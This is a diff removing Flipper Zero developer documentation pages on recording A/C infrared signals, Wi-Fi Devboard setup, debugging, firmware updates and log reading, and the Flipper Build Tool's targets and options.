7. Repeat steps 2-6 for each signal from the table below.
| Signal | Mode | Temperature | Note |
| :-----: | :--------: | :---------: | ----------------------------------- |
| Dh | Dehumidify | N/A | |
| Cool_hi | Cooling | See note | Lowest temperature in cooling mode |
| Cool_lo | Cooling | 23°C | |
| Heat_hi | Heating | See note | Highest temperature in heating mode |
| Heat_lo | Heating | 23°C | |
Finally, record the `Off` signal:
1. Make sure the display shows that the A/C is ON.
2. Start learning a new signal on Flipper and point the remote towards the IR receiver.
3. Press the **POWER** button so that the remote shows the OFF state.
4. Save the resulting signal under the name `Off`.
The resulting remote file should now contain 6 signals. You can omit any of them, but you then won't be able to use their functionality.
Test the file against the actual device. Make sure that every signal does what it's supposed to.
If everything checks out, append these signals **to the end** of the [A/C universal remote file](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/ac.ir).
## Final steps
The order of signals is not important, but they should be preceded by the following comment: `# Model: <Your model name>` in order to keep the library organized.
When done, open a pull request containing the changed file.

View File

@@ -1,88 +0,0 @@
# Debugging via the Devboard {#dev_board_debugging_guide}
On this page, you'll learn about how debugging via the Wi-Fi Developer Board works. To illustrate this process, we'll start a debug session for Flipper Zero's firmware in VS Code using the native Flipper Build Tool.
***
## Overview
The Developer Board acts as the debug probe, which provides a bridge between the IDE (integrated development environment) with a debugger running on a host computer and the target microcontroller (in your Flipper Zero). The user controls the debugging process on the computer connected to the Developer Board via [Wi-Fi](#dev_board_wifi_connection) or [USB cable](#dev_board_usb_connection).
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_hardware_CDN.jpg width=700
Data exchange between the Wi-Fi Developer Board and your Flipper Zero is conducted via the Serial Wire Debug interface. The following GPIO pins serve this purpose:
- **Pin 10:** Serial Wire Clock (SWCLK)
- **Pin 12:** Serial Wire Debug Data I/O (SWDIO)
To learn more about Flipper Zero pinout, visit [GPIO & modules in Flipper Docs](https://docs.flipper.net/gpio-and-modules).
***
## Prerequisites
### Step 1. Installing Git
You'll need Git installed on your computer to clone the firmware repository. If you don't have Git, install it following the [official installation guide](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git).
### Step 2. Building the firmware
Before starting debugging, you need to clone and build Flipper Zero firmware:
1. Open the **Terminal** (on Linux & macOS) or **PowerShell** (on Windows) in the directory where you want to store the firmware source code.
2. Clone the firmware repository:
```
git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git
cd flipperzero-firmware
```
3. Run the **Flipper Build Tool (FBT)** to build the firmware:
```
./fbt
```
***
## Debugging the firmware
From the **flipperzero-firmware** directory that you cloned earlier, run the following command:
```
./fbt flash
```
This will upload the firmware you've just built to your Flipper Zero via the Developer Board. After that, you can start debugging the firmware. We recommend using **VS Code** with the recommended extensions (as described below), and we have pre-made configurations for it.
To debug in **VS Code**, do the following:
1. In VS Code, open the **flipperzero-firmware** directory.
2. You should see a notification about recommended extensions. Install them.
If there were no notifications, open the **Extensions** tab, enter `@recommended` in the search bar, and install the workspace recommendations.
3. Run the `./fbt vscode_dist` command. This will generate the VS Code configuration files needed for debugging.
4. In VS Code, open the **Run and Debug** tab and select a debugger from the dropdown menu:
- **Attach FW (blackmagic):** Can be used via **Wi-Fi** or **USB**
- **Attach FW (DAP):** Can be used via **USB** only
Note that when debugging via USB, you need to make sure the selected debugger matches the debug mode on your Devboard. To check the debug mode on your Devboard, access the Devboard's web interface as described [here](#dev_board_wifi_connection) and check the **USB mode** field. If you want to use a different debug mode, enable this mode by following the steps in [Devboard debug modes](#dev_board_debug_modes).
5. If needed, flash your Flipper Zero with the `./fbt flash` command, then click the ▷ **Start Debugging** button in the debug sidebar to start the debugging session.
6. Note that starting a debug session halts the execution of the firmware, so you'll need to click the I▷ **Continue** button on the toolbar at the top of your VS Code window to continue execution.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_VS_Code.jpg width=900
> [!note]
> If you want to use a different debug mode on your Developer Board, visit [Devboard debug modes](#dev_board_debug_modes).
>
> If you want to read logs via the Developer Board, see [Reading logs via the Devboard](#dev_board_reading_logs).
>
> To learn about debugging in VS Code, see [VS Code official guide](https://code.visualstudio.com/docs/editor/debugging).

View File

@@ -1,33 +0,0 @@
# Devboard debug modes {#dev_board_debug_modes}
The Wi-Fi Devboard for Flipper Zero supports **Black Magic** and **DAPLink** debug modes, and you can switch between them depending on your needs. Note that available modes depend on connection:
- **Wi-Fi:** Only **Black Magic** mode is available.
- **USB:** Switch between **Black Magic** (default) and **DAPLink**. Learn more about switching debug modes for USB connection below.
> [!note]
> Black Magic mode doesn't support RTOS threads, but you can still perform other debugging operations.
***
## Switching debug modes for USB connection
Switching debug modes for working via USB has to be done wirelessly (yes, you read that correctly). Additionally, depending on how the Devboard wireless connection is configured, you may need to follow different steps for **Wi-Fi access point mode** or **Wi-Fi client mode**:
1. If the Devboard isn't connected to your Flipper Zero, turn off your Flipper Zero and connect the Developer Board, then turn the device back on.
2. Access the Devboard's web interface:
- [Wi-Fi access point mode](#wifi-access-point)
- [Wi-Fi client mode](#wifi-client-mode)
3. In the **WiFi** tab, click the **USB mode** option and select **BlackMagicProbe** or **DapLink**.
4. Click **SAVE**, then click **REBOOT** to apply the changes.
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_switching_modes_CDN.jpg width=700
> [!note]
> After switching debug modes on your Devboard, remember to select the same debugger in **VS Code** in the **Run and Debug** tab, and click the ▷ **Start Debugging** button.

View File

@@ -1,121 +0,0 @@
# Firmware update on Developer Board {#dev_board_fw_update}
It's important to regularly update your Developer Board to ensure that you have access to the latest features and bug fixes. This page will guide you through the necessary steps to update the firmware of your Developer Board.
> [!note]
> This guide assumes that you're familiar with the basics of the command line. If you're new to it, we recommend checking out these [Windows](https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/01-getting-started?view=powershell-7.4) or [macOS/Linux](https://ubuntu.com/tutorials/command-line-for-beginners#1-overview) command line tutorials.
If youre not, please refer to the [Windows](https://www.digitalcitizen.life/command-prompt-how-use-basic-commands/) or [MacOS / Linux](https://ubuntu.com/tutorials/command-line-for-beginners#1-overview) command line tutorials.
## Step 1. Install the micro Flipper Build Tool
[micro Flipper Build Tool (uFBT)](https://pypi.org/project/ufbt/) is a cross-platform tool developed and supported by our team that enables basic development tasks for Flipper Zero, such as building and debugging applications, flashing firmware, creating VS Code development configurations, and flashing firmware to the Wi-Fi Developer Board.
**On Linux & macOS:**
1. Open a terminal.
2. Install `pipx` by following the instructions on the [official website](https://pipx.pypa.io/stable/installation/).
3. Restart the terminal.
4. Install `ufbt`:
```
pipx install ufbt
```
**On Windows:**
1. Download the latest version of Python on [the official website](https://www.python.org/downloads/windows/) and install it.
2. Open PowerShell.
3. Install `pipx`:
```
py -m pip install --user pipx
```
4. Add `pipx` to PATH:
```
py -m pipx ensurepath
```
5. Restart PowerShell.
6. Install `ufbt`:
```
pipx install ufbt
```
***
## Step 2. Connect the Devboard to PC
To update the firmware, you need to switch your Developer Board to Bootloader mode, connect to a PC via a USB cable, and make sure that the PC detects the Developer Board:
1. List all of the serial devices on your computer.
- **macOS:** Run the `ls /dev/cu.*` command in the Terminal.
- **Linux:** Run the `ls /dev/tty*` command in the Terminal.
- **Windows:** Go to **Device Manager** and expand the **Ports (COM & LPT)** section.
2. Connect the Developer Board to your computer using a USB-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_update_wired_connection.jpg width=700
3. Switch your Developer Board to Bootloader mode:
3.1. Press and hold the **BOOT** button.
3.2. Press and release the **RESET** button while holding the **BOOT** button.
3.3. Release the **BOOT** button.
\image html https://cdn.flipper.net/Flipper_Zero_devboard_bootloader.jpg width=700
4. Repeat the first command above (listing serial devices) and view the name of your Developer Board that appeared in the list.
***
## Step 3. Flash the firmware
**On Linux & macOS:**
```
python3 -m ufbt devboard_flash
```
**On Windows:** Run the following command in PowerShell:
```
py -m ufbt devboard_flash
```
You should see the following message: `WiFi board flashed successfully`.
### If flashing fails
Occasionally, you might get an error message during the flashing process, such as:
```
A fatal error occurred: Serial data stream stopped: Possible serial noise or corruption.
```
*or*
```
FileNotFoundError: [Errno 2] No such file or directory: '/dev/cu.usbmodem01'
```
To fix it, try doing the following:
- Disconnect the Developer Board from your computer, then reconnect it. After that, switch your Developer Board to Bootloader mode once again, as described in Step 2.
- Use a different USB port on your computer.
- Use a different USB-C cable.
***
## Step 4. Finish the installation
1. Reboot the Developer Board by pressing the **RESET** button.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_reboot_after_flashing.jpg width=700
2. Disconnect and reconnect the USB-C cable.
You've successfully updated the firmware of your Developer Board!
If you followed the **Get started with the Devboard** guide, you're ready for the next step: [Step 3. Plug the Devboard into Flipper Zero](#dev_board_get_started_step-3).

View File

@@ -1,80 +0,0 @@
# Get started with the Devboard {#dev_board_get_started}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_developer_board_box_CDN.jpg width=700
Before you start using your Devboard, you need to prepare your Flipper Zero and Devboard for debugging. In this guide, we'll walk you through all the necessary steps and provide links to explore the Devboard's capabilities further.
***
## Step 1. Enable Debug Mode on your Flipper Zero
Since the main purpose of the Developer board is to debug applications on Flipper Zero, you first need to enable Debug Mode. To do so, go to **Settings → System** and set **Debug** to **ON**.
\image html https://cdn.flipperzero.one/Flipper_Zero_enamble_debug_CDN.jpg width=700
> [!note]
> Debug Mode needs to be re-enabled after each update of Flipper Zero's firmware.
Debug Mode allows you to debug your apps for Flipper Zero, as well as access debugging options in apps via the user interface and CLI. To learn more about Flipper Zero CLI, visit [Command-line interface in Flipper Docs](https://docs.flipper.net/development/cli).
\image html https://cdn.flipperzero.one/Flipper_Zero_Command_Line_Interface_CDN.jpg width=700
***
## Step 2. Update firmware on the Developer Board
The Developer Board comes with stock firmware that may not include all the latest features and bug fixes. To ensure optimal performance, please update your board's firmware using the instructions in [Firmware update on Devboard](#dev_board_fw_update).
***
## Step 3. Plug the Devboard into Flipper Zero {#dev_board_get_started_step-3}
Once your Developer Board firmware is up to date, you can proceed to plug it into your Flipper Zero. Two important things to keep in mind:
1. **Power off your Flipper Zero before plugging in the Developer Board.**
If you skip this step, you may corrupt the data stored on the microSD card. Connecting external modules with a large capacitive load may affect the microSD card's power supply since both the microSD card and external module are powered from the same 3.3 V power source inside Flipper Zero.
2. **Make sure the Developer Board is inserted all the way in.**
If your Flipper Zero isn't in a silicone case, insert the module all the way in so there is no gap between your Flipper Zero and the Devboard. You may need to apply more force to insert it completely. After that, press and hold the **BACK** button to power on your Flipper Zero.
\image html https://cdn.flipperzero.one/Flipper_Zero_external_module_without_case_CDN.jpg width=700
If your Flipper Zero is in a silicone case, insert the module all the way in so there is no gap in the middle between the silicone case and the module. After that, press and hold the **BACK** button to power on your Flipper Zero.
\image html https://cdn.flipperzero.one/Flipper_Zero_external_module_with_case_CDN.jpg width=700
***
## Step 4. Connect to a computer
Now, you can connect the Developer Board to your computer via USB or Wi-Fi, depending on your needs. We described both methods in separate documents:
- **[Via USB cable](#dev_board_usb_connection)** for debugging in DAP Link or Black Magic mode, and reading logs.
- [Via Wi-Fi](#dev_board_wifi_connection) for debugging in Black Magic mode.
***
## Next steps
You are ready to debug now! To further explore what you can do with the Devboard, check out these pages:
- [Debugging via the Devboard](#dev_board_debugging_guide)
- [Devboard debug modes](#dev_board_debug_modes)
- [Reading logs via the Devboard](#dev_board_reading_logs)
These guides should help you get started with your Devboard. If you have any questions or you want to share your experience, don't hesitate to join our community on [Reddit](https://www.reddit.com/r/flipperzero/) and [Discord](https://discord.com/invite/flipper), where we have a dedicated #wifi-devboard channel.

View File

@@ -1,136 +0,0 @@
# Reading logs via the Devboard {#dev_board_reading_logs}
The Developer Board allows you to read Flipper Zero logs via UART. Unlike reading logs via the command-line interface (CLI), the Developer Board enables you to collect logs from the device directly to a serial console independently from the operating system of Flipper Zero. It allows you to see the device's logs when it's loading, updating, or crashing. It's useful for debugging and troubleshooting during software development.
> [!NOTE]
>
> Flipper Zero logs can only be viewed when the developer board is connected via USB.
> The option to view logs over Wi-Fi will be added in future updates.
## Setting the log level
Depending on your needs, you can set the log level by going to **Main Menu → Settings → Log Level**. To learn more about logging levels, visit [Settings](https://docs.flipper.net/basics/settings#d5TAt).
\image html https://cdn.flipperzero.one/Flipper_Zero_log_level.jpg "You can manually set the preferred log level" width=700
## Viewing Flipper Zero logs
Depending on your operating system, you need to install an additional application on your computer to read logs via the Developer Board:
### macOS
On macOS, you need to install the **minicom** communication program by doing the following:
1. [Install Homebrew](https://brew.sh/) by running the following command in the Terminal:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
2. After installation of Homebrew, run the following command to install `minicom`:
```bash
brew install minicom
```
After installation of `minicom` on your macOS computer, you can connect to the Developer Board to read Flipper Zero logs by doing the following:
1. Cold-plug the Developer Board into your Flipper Zero by turning off the Flipper Zero, connecting the developer board, and then turning it back on.
2. On your computer, open the Terminal and run the following command:
```bash
ls /dev/cu.*
```
> [!NOTE]
>
> The list of devices.
3. Connect the developer board to your computer using a USB Type-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_developer_board_wired.png width=700
4. Rerun the command. Two new devices have to appear: this is the Developer Board.
```text
/dev/cu.usbmodemblackmagic1
```
```bash
/dev/cu.usbmodemblackmagic3
```
> [!NOTE]
>
> Your Developer Board might have different names.
6. Run the following command:
```bash
minicom -D /dev/<port> -b 230400
```
Where `<port>` is the name of your device with a bigger number.
Example:
```bash
minicom -D /dev/cu.usbmodemblackmagic3 -b 230400
```
7. View logs of your Flipper Zero in the Terminal.
8. To quit, close the `minicom` window or quit via the `minicom` menu.
### Linux
On Linux, you need to install the `minicom` communication program. For example, on Ubuntu, run in the Terminal the following command:
```bash
sudo apt install minicom
```
After installation of `minicom` on your Linux computer, you can connect to the Developer Board to read Flipper Zero logs by doing the following:
1. Cold-plug the Developer Board into your Flipper Zero by turning off the Flipper Zero, connecting the developer board, and then turning it back on.
2. On your computer, open the Terminal and run the following command:
```bash
ls /dev/tty*
```
Note the list of devices.
3. Connect the developer board to your computer using a USB Type-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_developer_board_wired.png width=700
4. Rerun the command. Two new devices have to appear: this is the Developer Board.
```bash
/dev/ttyACM0
```
```bash
/dev/ttyACM1
```
> [!NOTE]
>
> Your Developer Board might have different names.
5. Run the following command:
```bash
minicom -D /dev/<port> -b 230400
```
Where `<port>` is the name of your device with a bigger number.
Example:
```bash
minicom -D /dev/cu.usbmodemblackmagic3 -b 230400
```
6. View logs of your Flipper Zero in the Terminal.
> [!NOTE]
>
> If no logs are shown in the Terminal,
> try running the command from Step 5 with another device name.
>
7. To quit, close the minicom window or quit via the minicom menu.
### Windows
On Windows, do the following:
1. On your computer, [install the PuTTY application](https://www.chiark.greenend.org.uk/\~sgtatham/putty/latest.html).
2. Cold-plug the Developer Board into your Flipper Zero by turning off the Flipper Zero, connecting the developer board, and then turning it back on.
3. Connect the developer board to your computer using a USB Type-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_developer_board_wired.png width=700
4. Find the serial port that the developer board is connected to by going to **Device Manager → Ports (COM & LPT)** and looking for a new port that appears when you connect the Wi-Fi developer board.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_Device_Manager.png width=700
5. Run the PuTTY application and select **Serial** as the connection type.
6. Enter the port number you found in the previous step into the **Serial line** field.
7. Set the **Speed** parameter to **230400** and click **Open**.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_PuTTy.jpg width=700
8. View logs of your Flipper Zero in the PuTTY terminal window.
9. To quit, close the PuTTY window.

View File

@@ -1,22 +0,0 @@
# USB connection to the Devboard {#dev_board_usb_connection}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_USB_connection_CDN.jpg width=700
To connect to the Developer Board via USB, do the following:
1. If the Devboard isn't connected to your Flipper Zero, turn off your Flipper Zero and connect the Developer Board to it. Then, turn your Flipper Zero back on.
2. On your computer, check the list of serial devices.
- **macOS:** On your computer, run `ls /dev/cu.*` in the Terminal.
- **Linux:** On your computer, run `ls /dev/tty*` in the Terminal.
- **Windows:** Go to **Device Manager** and expand the **Ports (COM & LPT)** section.
3. Connect the Devboard to your computer via a USB-C cable.
4. Repeat **Step 2**. Two new devices will appear — this is the Developer Board.
> [!warning]
> If the Developer Board doesn't appear in the list of devices, try using a different cable, USB port, or computer.

View File

@@ -1,59 +0,0 @@
# Wi-Fi connection to the Devboard {#dev_board_wifi_connection}
You can connect to the Developer Board wirelessly in two ways:
- **Wi-Fi access point mode (default):** The Devboard creates its own Wi-Fi network, which you can connect to in order to access its web interface and debug via Wi-Fi. The downside is that you will need to disconnect from your current Wi-Fi network, resulting in a loss of internet connection.
- **Wi-Fi client mode:** You can connect to the Devboard through an existing Wi-Fi network, allowing you to access the Devboard web interface and debug via Wi-Fi without losing your internet connection.
Let's go over both of these modes below.
***
## Wi-Fi access point (AP) mode {#wifi-access-point}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_Access_Point_CDN.jpg width=700
Out of the box, the Developer Board is configured to work as a Wi-Fi access point. To connect the Developer Board in this mode, do the following:
1. Plug the Wi-Fi Devboard into your Flipper Zero by turning off your Flipper Zero and connecting the Developer Board, and then turning it back on.
2. Open Wi-Fi settings on your client device (phone, laptop, or other).
3. Connect to the network:
Name: `blackmagic`
Password: `iamwitcher`
If your computer fails to find the **blackmagic** network, read the [troubleshooting section](#wifi-access-point_troubleshooting) below.
4. To access the Devboard's web interface, open a browser and go to <http://192.168.4.1> or <http://blackmagic.local>.
### If your computer fails to find the black magic network {#wifi-access-point_troubleshooting}
- Reset Wi-Fi connection on your computer.
- The Developer Board is probably configured to work in Wi-Fi client mode. → Reset your Developer Board settings to default by pressing and holding the **BOOT** button for **10 seconds**, then wait for the Devboard to reboot. After the reset, the Devboard will work in Wi-Fi access point mode.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_reboot.jpg width=700
***
## Wi-Fi client (STA) mode {#wifi-client-mode}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_STA_CDN.jpg width=700
To connect the Developer Board in **Wi-Fi client** mode, you need to configure it to connect to your Wi-Fi network by doing the following:
1. Plug the Wi-Fi Devboard into your Flipper Zero by turning off your Flipper Zero and connecting the Developer Board, and then turning the device back on.
2. Connect to the Developer Board in [Wi-Fi access point](#wifi-access-point) mode.
3. In a browser, go to the Devboard's web interface at <http://192.168.4.1> or <http://blackmagic.local>.
4. Select the **STA** mode and enter your network's **SSID** (name) and **password**. For convenience, you can click the **+** button to see the list of nearby 2.4 GHz networks (5 GHz networks aren't supported).
5. Save the configuration and reboot the Developer Board.
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_connect_to_WiFi_CDN.jpg width=700
6. Now, you can access the Devboard's web interface at [http://blackmagic.local](https://blackmagic.local) via the existing Wi-Fi network without losing connection to the internet.

View File

@@ -1,155 +0,0 @@
# Flipper Build Tool {#fbt}
FBT is the entry point for firmware-related commands and utilities.
It is invoked by `./fbt` in the firmware project root directory. Internally, it is a wrapper around [scons](https://scons.org/) build system.
If you don't need all features of `fbt` — like building the whole firmware — and only want to build and debug a single app, you can use [ufbt](https://pypi.org/project/ufbt/).
## Environment
To use `fbt`, you only need `git` installed in your system.
`fbt` by default downloads and unpacks a pre-built toolchain, and then modifies environment variables for itself to use it.
It does not contaminate your global system's path with the toolchain.
> [!NOTE]
>
> However, if you wish to use tools supplied with the toolchain outside `fbt`,
> you can open an *fbt shell*, with properly configured environment.
>
> - On Windows, simply run `scripts/toolchain/fbtenv.cmd`.
> - On Linux & MacOS, run `source scripts/toolchain/fbtenv.sh` in a new shell.
> - You can also type ```. `./fbt -s env` ``` in your shell. (Keep the "." at the beginning.)
If your system is not supported by pre-built toolchain variants or you want to use custom versions of dependencies, you can `set FBT_NOENV=1`.
`fbt` will skip toolchain & environment configuration and will expect all tools to be available on your system's `PATH`. *(this option is not available on Windows)*
If `FBT_TOOLCHAIN_PATH` variable is set, `fbt` will use that directory to unpack toolchain into. By default, it downloads toolchain into `toolchain` subdirectory repo's root.
If you want to enable extra debug output for `fbt` and toolchain management scripts, you can `set FBT_VERBOSE=1`.
`fbt` always performs `git submodule update --init` on start, unless you set `FBT_NO_SYNC=1` in the environment:
- On Windows, it's `set "FBT_NO_SYNC=1"` in the shell you're running `fbt` from
- On \*nix, it's `$ FBT_NO_SYNC=1 ./fbt ...`
> [!NOTE]
>
> There are more variables controlling basic `fbt` behavior.
> See `fbt` & `fbtenv` scripts' sources for details.
>
## Invoking FBT
To build with FBT, call it and specify configuration options & targets to build. For example:
`./fbt COMPACT=1 DEBUG=0 VERBOSE=1 updater_package copro_dist`
To run cleanup (think of `make clean`) for specified targets, add the `-c` option.
## Build directories
`fbt` builds updater & firmware in separate subdirectories in `build`, and their names depend on optimization settings (`COMPACT` & `DEBUG` options).
However, for ease of integration with IDEs, the latest built variant's directory is always linked as `built/latest`.
Additionally, `compile_commands.json` is generated in that folder (it is used for code completion support in IDEs).
`build/latest` symlink & compilation database are only updated upon *firmware build targets* — that is, when you're re-building the firmware itself. Running other tasks, like firmware flashing or building update bundles *for a different debug/release configuration or hardware target*, does not update `built/latest` dir to point to that configuration.
Running other tasks, like firmware flashing or building update bundles *for a different debug/release configuration or hardware target*, does not update `built/latest` dir to point to that configuration.
## VSCode integration
`fbt` includes basic development environment configuration for VS Code. Run `./fbt vscode_dist` to deploy it. That will copy the initial environment configuration to the `.vscode` folder. After that, you can use that configuration by starting VS Code and choosing the firmware root folder in the "File > Open Folder" menu.
That will copy the initial environment configuration to the `.vscode` folder.
After that, you can use that configuration by starting VSCode and choosing the firmware root folder in the <kbd>File > Open Folder</kbd> menu.
To use language servers other than the default VS Code C/C++ language server, use `./fbt vscode_dist LANG_SERVER=<language-server>` instead.
Currently `fbt` supports the default language server (`cpptools`) and `clangd`.
- On the first start, you'll be prompted to install recommended plugins. We highly recommend installing them for the best development experience. _You can find a list of them in `.vscode/extensions.json`._
- Basic build tasks are invoked in the <kbd>Ctrl + Shift + B</kbd> menu.
- Debugging requires a supported probe. That includes:
- Wi-Fi Devboard with stock firmware (blackmagic).
- ST-Link and compatible devices.
- J-Link for flashing and debugging (in VSCode only). _Note that J-Link tools are not included with our toolchain and you have to [download](https://www.segger.com/downloads/jlink/) them yourself and put them on your system's `PATH`.
- Without a supported probe, you can install firmware on Flipper using the USB installation method.
## FBT targets
`fbt` keeps track of internal dependencies, so you only need to build the highest-level target you need, and `fbt` will make sure everything they depend on is up-to-date.
### High-level (what you most likely need)
- `fw_dist` — build & publish firmware to the `dist` folder. This is a default target when no others are specified.
- `fap_dist` — build external plugins & publish to the `dist` folder.
- `updater_package`, `updater_minpackage` — build a self-update package. The minimal version only includes the firmware's DFU file; the full version also includes a radio stack & resources for the SD card.
- `copro_dist` — bundle Core2 FUS+stack binaries for qFlipper.
- `flash` — flash the attached device over SWD interface with supported probes. Probe is detected automatically; you can override it with `SWD_TRANSPORT=...` variable. If multiple probes are attached, you can specify the serial number of the probe to use with `SWD_TRANSPORT_SERIAL=...`.
- `flash_usb`, `flash_usb_full` — build, upload and install the update package to the device over USB. See details on `updater_package` and `updater_minpackage`.
- `debug` — build and flash firmware, then attach with gdb with firmware's .elf loaded.
- `debug_other`, `debug_other_blackmagic` — attach GDB without loading any `.elf`. It will allow you to manually add external `.elf` files with `add-symbol-file` in GDB.
- `updater_debug` — attach GDB with the updater's `.elf` loaded.
- `devboard_flash` — Update WiFi dev board. Supports `ARGS="..."` to pass extra arguments to the update script, e.g. `ARGS="-c dev"`.
- `blackmagic` — debug firmware with Blackmagic probe (WiFi dev board).
- `openocd` — just start OpenOCD. You can pass extra arguments with `ARGS="..."`.
- `get_blackmagic` — output the blackmagic address in the GDB remote format. Useful for IDE integration.
- `get_stlink` — output serial numbers for attached STLink probes. Used for specifying an adapter with `SWD_TRANSPORT_SERIAL=...`.
- `lint`, `format` — run clang-format on the C source code to check and reformat it according to the `.clang-format` specs. Supports `ARGS="..."` to pass extra arguments to clang-format.
- `lint_py`, `format_py` — run [black](https://black.readthedocs.io/en/stable/index.html) on the Python source code, build system files & app manifests. Supports `ARGS="..."` to pass extra arguments to black.
- `lint_img`, `format_img` — check the image assets for errors and format them. Enforces color depth and strips metadata.
- `lint_all`, `format_all` — run all linters and formatters.
- `firmware_pvs` — generate a PVS Studio report for the firmware. Requires PVS Studio to be available on your system's `PATH`.
- `doxygen` — generate Doxygen documentation for the firmware. `doxy` target also opens web browser to view the generated documentation.
- `cli` — start a Flipper CLI session over USB.
### Firmware targets
- `faps` — build all external & plugin apps as [`.faps`](AppsOnSDCard.md).
- `fbt` also defines per-app targets. For example, for an app with `appid=snake_game` target names are:
- `fap_snake_game`, etc. — build single app as `.fap` by its app ID.
- Check out [--extra-ext-apps](#command-line-parameters) for force adding extra apps to external build.
- `fap_snake_game_list`, etc — generate source + assembler listing for app's `.fap`.
- `flash`, `firmware_flash` — flash the current version to the attached device over SWD.
- `jflash` — flash the current version to the attached device with JFlash using a J-Link probe. The JFlash executable must be on your `$PATH`.
- `firmware_all`, `updater_all` — build a basic set of binaries.
- `firmware_list`, `updater_list` — generate source + assembler listing.
- `firmware_cdb`, `updater_cdb` — generate a `compilation_database.json` file for external tools and IDEs. It can be created without actually building the firmware.
### Assets
- `resources` — build resources and their manifest files
- `dolphin_ext` — process dolphin animations for the SD card
- `icons` — generate `.c+.h` for icons from PNG assets
- `proto` — generate `.pb.c+.pb.h` for `.proto` sources
- `proto_ver` — generate `.h` with a protobuf version
- `dolphin_internal`, `dolphin_blocking` — generate `.c+.h` for corresponding dolphin assets
## Command-line parameters {#command-line-parameters}
- `--options optionfile.py` (default value `fbt_options.py`) — load a file with multiple configuration values
- `--extra-int-apps=app1,app2,appN` — force listed apps to be built as internal with the `firmware` target
- `--extra-ext-apps=app1,app2,appN` — force listed apps to be built as external with the `firmware_extapps` target
- `--extra-define=A --extra-define=B=C ` — extra global defines that will be passed to the C/C++ compiler, can be specified multiple times
- `--proxy-env=VAR1,VAR2` — additional environment variables to expose to subprocesses spawned by `fbt`. By default, `fbt` sanitizes the execution environment and doesn't forward all inherited environment variables. You can find the list of variables that are always forwarded in the `environ.scons` file.
## Configuration
Default configuration variables are set in the configuration file: `fbt_options.py`.
Values set in the command line have higher precedence over the configuration file.
You can also create a file called `fbt_options_local.py` that will be evaluated when loading default options file, enabling persistent overriding of default options without modifying default configuration.
You can find out available options with `./fbt -h`.
### Firmware application set
You can create customized firmware builds by modifying the list of apps to be included in the build. App presets are configured with the `FIRMWARE_APPS` option, which is a `map(configuration_name:str → application_list:tuple(str))`. To specify an app set to use in the build, set `FIRMWARE_APP_SET` to its name.
For example, to build a firmware image with unit tests, run `./fbt FIRMWARE_APP_SET=unit_tests`.
Check out `fbt_options.py` for details.

Some files were not shown because too many files have changed in this diff Show More